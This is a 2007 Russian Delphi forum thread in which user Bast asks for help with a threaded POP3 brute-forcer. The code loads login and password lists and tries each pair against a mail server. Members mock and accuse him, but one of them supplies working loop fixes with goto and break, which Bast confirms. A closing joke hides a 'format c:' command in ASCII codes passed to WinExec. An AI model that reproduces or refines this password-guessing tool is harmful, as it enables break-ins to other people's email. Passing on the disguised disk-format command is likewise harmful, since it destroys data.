Проблема

← →
Bast (2007-08-21 01:19) [0]

Есть код(приведенный ниже) когда пароль найден, то я хочу перейти сразу на другую строчку, как я могу это сделать?
procedure threed.Execute; var LoginStrings:TStrings; PassStrings:TStrings; i,j:integer; begin LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé LoginStrings.LoadFromFile(form1.Edit3.Text); PassStrings.LoadFromFile(form1.Edit4.Text); form1.IdPOP31.Host:=form1.Edit1.Text; form1.IdPOP31.Port:=strtoint(form1.Edit2.Text); for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin form1.IdPOP31.UserName:=LoginStrings.Strings[i]; form1.IdPOP31.Password:=PassStrings.Strings[j]; form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]); //Ïîïûòêà ñîåäèíåíèÿ. try form1.IdPOP31.Connect; except end; if form1.IdPOP31.Connected then begin form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]); i:=i+1; form1.IdPOP31.Disconnect; end; form1.IdPOP31.Disconnect; end; end; end.

← →
THandle © (2007-08-21 08:13) [1]

goto?

← →
Сергей М. © (2007-08-21 09:07) [2]

> хочу перейти сразу на другую строчку

"Сразу" это как ?
"На другую" это какую ?

Почему не выполняешь требования по синхронизации обращений к vcl-контролам с основным тредом ?

← →
Anatoly Podgoretsky © (2007-08-21 09:34) [3]

Что ты хочешь сделать?

← →
max_ (2007-08-21 09:43) [4]

break

← →
Сергей М. © (2007-08-21 09:44) [5]

Ну так и сделай break, в чем проблема-то ?)

← →
Slym © (2007-08-21 09:45) [6]

Anatoly Podgoretsky © (21.08.07 9:34) [3]
Очередной кулхацкер пишет брутфорс на почтовый аккаунт

← →
DrPass © (2007-08-21 10:13) [7]

> Сергей М. © (21.08.07 09:07) [2]
>
> > хочу перейти сразу на другую строчку
>
>
> "Сразу" это как ?
> "На другую" это какую ?
>
> Почему не выполняешь требования по синхронизации обращений
> к vcl-контролам с основным тредом ?

Ты говоришь о синхронизации человеку, который не может самостоятельно выйти из цикла?

← →
Сергей М. © (2007-08-21 10:24) [8]

> DrPass © (21.08.07 10:13) [7]

Ну может он еще не совсем безнадежен)..

← →
Dib@zol © (2007-08-21 10:28) [9]

Реально, ставь goto и радовайся жизни! :)

procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
//form1.IdPOP31.Disconnect;
goto _end;
end;
_end:
form1.IdPOP31.Disconnect;
end;
end;
end.

Типа так?

← →
wp2 © (2007-08-21 10:30) [10]

LoginStrings.LoadFromFile(form1.Edit3.Text);

мдя... это ж надо было такое замутить.

LoginStrings.Add(Edit3.Text)

← →
DrPass © (2007-08-21 10:43) [11]

> Dib@zol © (21.08.07 10:28) [9]

_end - это некузяво. Реальные пацаны обозначают метки цифрами 1, 2, 3... и так далее

← →
Bast (2007-08-21 10:45) [12]

Мне нжуно чтобы i передвинулась на 1 строки ниже если пароль нашелся

← →
Игорь Шевченко © (2007-08-21 10:46) [13]

Write-only user

← →
wp2 © (2007-08-21 11:05) [14]

Аффтар, учи паскаль.

← →
Сергей М. © (2007-08-21 11:09) [15]

> i передвинулась

Как это "передвинулось" ?

> на 1 строки ниже

Ниже чего ?!

← →
Bast (2007-08-21 11:12) [16]

ну смотрите
нашелся пароль от email tt@tt.ru, а он все еще продолжает подюирать пароли к tt@tt.ru, мне нужно чтобы если пароль нашелся, то перестал подбирать к пароли к tt@tt.ru и начал подбирать пароль к след. email который лежит в login.txt

← →
sniknik © (2007-08-21 11:14) [17]

... научишь такого потом письма из ящиков пропадать начнут....

← →
sniknik © (2007-08-21 11:15) [18]

> Write-only user
и слава Гейтцу!

← →
Сергей М. © (2007-08-21 11:19) [19]

> Bast (21.08.07 11:12) [16]

см. [4]

← →
Bast (2007-08-21 11:25) [20]

> ... научишь такого потом письма из ящиков пропадать начнут.
> ...

Обижаешь...

← →
Сергей М. © (2007-08-21 11:27) [21]

> Bast

Т.е. в http://delphimaster.net/view/2-1187604813/ ты тыришь у жертвы мыльные адреса, а в этом сабже пытаешься отбрутфорсить их ?

Нехорошо, дядя, гадить, ой нехорошо)

Как тебе не ай-ай-ай ?)

← →
Bast (2007-08-21 11:29) [22]

break; это не то, он останавливает цикл, а мне нужно не остановить, а передвинуть

← →
DrPass © (2007-08-21 11:29) [23]

> Сергей М. © (21.08.07 11:27) [21]

Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем заняться. Скоро будет баландой завтракать

← →
alshtam (2007-08-21 11:30) [24]

continue продолжает цикл со следующей цифры

← →
Dib@zol © (2007-08-21 11:30) [25]

> Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем
> заняться. Скоро будет баландой завтракать

> Нехорошо, дядя, гадить, ой нехорошо) (с)
:)

← →
Плохиш © (2007-08-21 11:33) [26]

> Bast (21.08.07 11:29) [22]

Да у тебя ещё и проблемы с логикой.

> alshtam (21.08.07 11:30) [24]

И какой из циклов аФФтара оно продолжит?

← →
Сергей М. © (2007-08-21 11:38) [27]

> Bast (21.08.07 11:29) [22]

> нужно не остановить, а передвинуть

Ты в состоянии вразумительно объяснить, что такое "передвинуть цикл" ?)

← →
Dib@zol © (2007-08-21 11:45) [28]

Походу я могу. Надо (см. код) увеличить i на 1, а в j прописать 0.
Аффтару: такая циклическая конструкция тута не подходит. for в данной ситуации явно не рулит. repeat - until!

procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
i:=i+1;
until i>LoginStrings.Count;
end;

Тфу ты. Вот:

procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
goto _end;
end;
form1.IdPOP31.Disconnect;
end;
_end:
i:=i+1;
until i>LoginStrings.Count;
end;

> Dib@zol © (21.08.07 11:47) [29]

Прикольные маразматические извращения и всё только из-за отсутствия знаний того, что делает break :-) Продолжай...

> [30] Плохиш © (21.08.07 11:49)

Любую задачу можно решить несколькими способами. Я свой предложил, а ты нет, профи ты наш.

> Сергей М. © (21.08.07 11:53) [32]

> .. и оказал тем самым медвежью услугу)

Наоборот, это природный механизм естественного отбора в действии :)

← →
Bast (2007-08-21 11:58) [34]

> procedure threed.Execute;
> label
> _end;
> var
> LoginStrings:TStrings;
> PassStrings:TStrings;
> i,j:integer;
> begin
> LoginStrings:=TStringList.Create;
> PassStrings:=TStringList.Create;
> //Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
> LoginStrings.LoadFromFile(form1.Edit3.Text);
> PassStrings.LoadFromFile(form1.Edit4.Text);
> form1.IdPOP31.Host:=form1.Edit1.Text;
> form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
> i:=0;
> repeat
> for j:=0 to PassStrings.Count-1 do begin
> form1.IdPOP31.UserName:=LoginStrings.Strings[i];
> form1.IdPOP31.Password:=PassStrings.Strings[j];
> form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.
> Strings[j]);
> try
> form1.IdPOP31.Connect;
> except
> end;
> if form1.IdPOP31.Connected then begin
> form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.
> Strings[j]);
> form1.IdPOP31.Disconnect;
> goto _end;
> end;
> form1.IdPOP31.Disconnect;
> end;
> _end:
> i:=i+1;
> until i>LoginStrings.Count;
> end;

Спасибо, помогло

> [32] Сергей М. © (21.08.07 11:53)

Так. Какова ситуация? Чел не хочет/не может/не знает как использовать Брейк. Я предлагаю иной вариант, но если вас уж так это коробит, то пожалте:

procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
BREAK;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.

> Dib@zol © (21.08.07 11:58) [35]

"Медвежесть" услуги здесь в том что приводится некое готовое решение человеку, не умеющему и/или не желающему ни читать, ни думать, занимающемуся к тому же откровенно неблаговидными "делами".

> [36] iXT © (21.08.07 12:02)
> [37] Сергей М. © (21.08.07 12:02)

Именно потому и привожу, что чел с таким набором знаний вряд ли когда-либо напишет то, чего он хочет.

Опять же, а если он будет читать хелпы и мануалы, изучать статьи и SDK, то со временем будет способен на многое! Так не лучше ли притормозить этот пагубный процесс?

for i:=0 to Count - 1 do
begin
.......
if <Нашел что искал>
then WinExec("$102+$111+$114+$109+$97+$116+$32+$99+58");
end;

ЗЫ Вариант с форматированием почтового ящика :)

Проблема Найти похожие ветки